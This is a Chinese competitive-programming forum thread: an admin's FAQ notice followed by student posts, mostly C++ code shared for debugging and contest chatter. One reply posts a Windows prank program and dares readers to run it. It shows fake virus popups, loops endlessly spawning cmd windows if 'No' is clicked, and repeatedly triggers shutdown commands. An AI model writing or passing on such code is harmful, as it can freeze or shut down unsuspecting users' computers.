- 问答
【FAQ】问答&讨论贴
- @ 2025-6-7 13:41:09
最近的事情更无语了,某鱼上现在有三个人在卖数据了。周赛数据永久停止更新。
不允许学生创建新讨论了,后面大家可以在这里讨论相关内容。会定期清理。
删了一些同学们自己举办的比赛的帖子。
我建议你们可以私聊参赛。讨论区太乱了,有些提问我看不到了已经。
更重要的是,还是先好好学算法吧各位同学,当你拿了提高组 分,再考虑自己举办一些简单的比赛。
语法场的初心还是为了学生们巩固基础语法,高水平选手可以选择参加入门语法场和入门提高场 目前也没看见能打的 (参考新春马拉松赛成绩)
感觉不过瘾还可以打atcoder和codeforces
415 条评论
-
weixianrong LV 10 (9637/13725) @ 2026-2-26 15:07:46 -
@ 2026-2-26 14:30:40D1031 60WA求调。
#include<bits/stdc++.h> #define int long long using namespace std; const int mod=998244353; int n,k; int a(int n,int k){ int sum=1; for(int i=n;i>=n-k+1;--i){ sum*=i; sum%=mod; } return sum; } signed main(){ ios::sync_with_stdio(false); cin.tie(0); cin>>n>>k; cout<<(a(n,k)/a(k,k))%mod; } -
@ 2026-2-25 16:48:02刷刷存在感
-
@ 2026-2-25 15:22:03 -
@ 2026-2-18 10:18:23 -
@ 2026-2-17 10:24:38 -
@ 2026-2-9 17:16:22
ee
-
@ 2026-2-4 20:06:19你们见过这个网页吗?
-
@ 2026-2-3 14:31:53 -
@ 2026-2-2 9:45:06 -
@ 2026-1-31 19:57:53
曲江第二学校找不到的看这里:找历史记录打开以前的打桩机
-
@ 2026-1-31 11:34:10P13013
-
@ 2026-1-31 11:30:16#include <bits/stdc++.h> #define ll long long using namespace std; const ll mod1=1e9+7; const ll mod2=998244353; ll a,b,n,m,ans=0; bool check(ll x) { if(a==b) { if(a==0) return false; return x<=n/a&&x<=m/a; } ll i=n-b*x; ll j=m-a*x; ll d=a-b; ll l,r; if(d>0){ r=i/d; l=(-j+d-1)/d; }else{ l=(i%d==0)?i/d:i/d+1; r=floor((-j)/d); } l=max(0LL,l); r=min(x,r); return l<=r; } int main() { ios::sync_with_stdio(0); cin.tie(0); cin>>n>>m>>a>>b; ll l=0,r=(n+m)/(a+b),mid=0; while(l<=r) { mid=(l+r)/2; if(check(mid)) { l=mid+1; ans=mid; }else{ r=mid-1; } } cout<<ans; return 0; } -
@ 2026-1-30 17:21:28
题目描述 给出整数 a , b 若 a ≤ b ,输出 YE5,否则输出 N0(第二个字符为阿拉伯数字)。
输入格式 输入一行两个整数 a , b 。
输出格式 输出一行,为你的答案。
-
@ 2026-1-30 17:16:51
#include
using namespace std;
int main() {
int a, b; cin >> a >> b; if (a <= b) { cout << "YES"; } else { cout << "NO"; } return 0;}
-
@ 2026-1-30 17:15:35
求调
-
@ 2026-1-25 18:11:20???谁抄我
别人:

我:

-
@ 2026-1-25 18:09:03
猎如奇
-
@ 2026-1-25 16:53:26
呃……
-
@ 2026-1-25 14:09:17//0分求调 #include<bits/stdc++.h> #define int long long using namespace std; struct village{ int id,people; }; village a[200005]; int n,q,sum[200005]; bool cmp(village fff,village yyy){ return fff.id <yyy.id ; } signed main(){ ios::sync_with_stdio(false); cin.tie(0); cin>>n; for(int i=1;i<=n;i++){ cin>>a[i].id ; sum[i]=sum[i-1]+a[i].people ; } for(int i=1;i<=n;i++){ cin>>a[i].people ; } sort(a+1,a+n+1,cmp); cin>>q; while(q--){ int x,y; cin>>x>>y; if(x>a[n].id ||y<a[1].id ){ cout<<"0\n"; continue; } int r=upper_bound(a+1,a+n+1,y)-a-1; int l=lower_bound(a+1,a+n+1,x)-a; cout<<sum[r]-sum[l-1]<<"\n"; } } -
@ 2026-1-22 21:50:27@TooY0ung
#include<iostream> #include<cstring> #include<queue> #include<cstdio> #include<cmath> #include<algorithm> #include<map> #include<vector> #include<stack> #include<sstream> #include<set> #include<time.h> #include<stdlib.h> #include<unordered_map> #include<iomanip> #include<bitset> #define ll long long #define ull unsigned long long #define eps 1e-6 #define INF 1e9 #define delta 0.996 #define T 3000 #define pi acos(-1.0) #define ld long double const ll mod1 = 1e9 + 7; const ll mod2 = 998244353; const int modd = 10007; const int maxn = 1e5 + 5; const int intMAX = 2147483647; const ll inf = 1e18L; using namespace std; typedef pair<int, int> Pii; typedef pair<__int128, int>P; ll n; ll a[maxn], pos[maxn], L[maxn], R[maxn], lazy[maxn]; int t; ll num(int l, int r, int c) { int p = pos[l], q = pos[r]; ll cnt = 0; if(lazy[p] == INF) { for(int i = l; i <= r; i++) { if(a[i] == c) cnt++; a[i] = c; } } else { if(lazy[p] == c) cnt += (r - l + 1); else { for(int i = l; i <= r; i++) a[i] = c; for(int i = L[p]; i < l; i++) a[i] = lazy[p]; for(int i = r + 1; i <= R[p]; i++) a[i] = lazy[p]; lazy[p] = INF; } } return cnt; } ll query(int l, int r, int c) { int p = pos[l], q = pos[r]; if(p == q) return num(l, r, c); ll cnt = 0; for(ll i = p + 1; i <= q - 1; i++) { if(lazy[i] == INF) { for(int j = L[i]; j <= R[i]; j++) if(a[j] == c) cnt++; } else if(lazy[i] == c) cnt += t; lazy[i] = c; } cnt += num(l, R[p], c) + num(L[q], r, c); return cnt; } signed main(){ // freopen(".in", "r", stdin); // freopen(".out", "w", stdout); ios::sync_with_stdio(false); cin.tie(0); cout.tie(0); cin >> n; for(int i = 1; i <= n; i++) cin >> a[i]; t = sqrt(n); for(int i = 1; i <= t; i++) { lazy[i] = INF; L[i] = (i - 1) * t + 1; R[i] = i * t; } if(R[t] != n) { t++; L[t] = R[t - 1] + 1; R[t] = n; lazy[t] = INF; } for(int i = 1; i <= t; i++) for(int j = L[i]; j <= R[i]; j++) pos[j] = i; for(int i = 1; i <= n; i++) { int l, r, c; cin >> l >> r >> c; cout << query(l, r, c) << "\n"; } return 0; } -
@ 2026-1-22 20:26:59 -
@ 2026-1-22 20:13:28
我想知道咱们挖土机一号ID是Hydro,为什么洛谷还专门提名这个网站,是有什么联系吗,这个网站还一堆用户
-
@ 2026-1-22 18:55:26ACC200分是几等奖?
-
@ 2026-1-20 22:22:30#include<bits/stdc++.h> using namespace std; int n; long long a[500010]; long long b[500010]; long long num; long long maxn1,maxn2; int main(){ ios::sync_with_stdio(0); cin.tie(0); cin>>n; for(int i=1;i<=n;i++){ cin>>a[i]; if(a[i]>maxn1){ maxn1=a[i]; } } for(int i=1;i<=n;i++){ cin>>b[i]; if(b[i]>maxn2){ maxn2=b[i]; } } num=maxn1+maxn2; cout<<num; }@TooY0ung [ABC373C] Max Ai+Bj求调
-
@ 2026-1-17 19:47:06
1
-
@ 2026-1-17 15:24:23
真厉害,思考了16多万秒,比我家deepseek还厉害 -
@ 2026-1-16 20:08:10 -
@ 2026-1-15 21:32:07对了,大家ACC考的都怎么样?
-
@ 2026-1-11 15:46:33真《骗分大逝》
那四道全骗的 -
@ 2026-1-10 15:01:17
TooY0ung祖传头文件
#include<map> #include<vector> #include<stack> #include<sstream> #include<set> #include<time.h> #include<stdlib.h> #include<unordered_map> #include<random> #include<iomanip> #define ll long long #define ull unsigned long long #define eps 1e-7 #define INF 1e9 #define delta 0.996 #define T 3000 #define pi acos(-1.0) #define ld long double const ll mod1 = 1e9 + 7; const ll mod2 = 998244353; const int maxn = 1e5 + 10; const ll inf = 1e18L; using namespace std; typedef pair<int,int>Pii; typedef pair<ll,ll>P; typedef pair<int, pair<int, int>>Pi; typedef pair<string, Pi>psp; const ll modd = 10007; -
@ 2026-1-9 22:37:55❶ 通过CSP-J初赛〖+2000〗
❷ 通过CSP-S初赛〖+4000〗
❸ CSP-J获得省一等奖〖+10000〗未报"0"〖+500〗
❹ CSP-J获得省二等奖〖+5000〗〖未报“0”额外+500〗
❺ CSP-S获得省一等奖〖+20000〗〖未报“0”额外+500〗
❻ CSP-S获得省二等奖〖+10000〗〖未报“0”额外+500〗
这不是人都能拿满(除了小学生考不了)
-
@ 2026-1-1 20:48:47你们谁知道33DAI去哪了?
-
@ 2025-12-31 17:59:34建个曲江第二学校的楼
-
@ 2025-12-27 18:35:30
1
-
@ 2025-12-23 21:34:07在挖土机题库上搜索“简单”,然后0个题简单
-
@ 2025-12-23 20:20:20评测机又双叒炸了
-
@ 2025-12-23 19:14:25
?????@TooY0ung -
@ 2025-12-21 14:44:44 -
@ 2025-12-21 14:18:26
谁敢试试(逝逝)
#include <windows.h> #include<bits/stdc++.h> #pragma comment(lib, "User32.lib") int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { bool at=MessageBox(NULL, TEXT("你的电脑遇到病毒,是否修复?"), TEXT(""), MB_YESNO); if(at==true) { MessageBox(NULL, TEXT("无法修复"), TEXT(""), MB_OK); } else { while(1) system("start cmd"); } MessageBox(NULL, TEXT("正在清空你的电脑数据"), TEXT(""), MB_OK); Sleep(5000); MessageBox(NULL, TEXT("清理完成"), TEXT(""), MB_OK); MessageBox(NULL, TEXT("恭喜,你的电脑无了"), TEXT(""), MB_OK); system("start cmd"); MessageBox(NULL,TEXT("正在关机"),TEXT(""),MB_OK); system("shutdown -s -t 20"); Sleep(100); system("shutdown -a"); system("shutdown -s -t 20"); Sleep(100); system("shutdown -a"); system("shutdown -s -t 20"); Sleep(100); system("shutdown -a"); system("shutdown -s -t 20"); Sleep(100); system("shutdown -a"); system("shutdown -s -t 20"); Sleep(100); system("shutdown -a"); system("shutdown -s -t 20"); Sleep(10000); system("shutdown -a"); MessageBox(NULL,TEXT("哈哈哈,逗你玩的>_<"),TEXT(""),MB_OK); return 0; }备注: 第一个弹窗不要点否
-
@ 2025-12-21 8:38:40汉中的硬币奖励兑换贴咋没了
-
@ 2025-12-20 23:40:49 -
@ 2025-12-20 17:37:56好久不发消息了,来刷一下存在感
-
@ 2025-12-20 10:32:13谁@我了
@
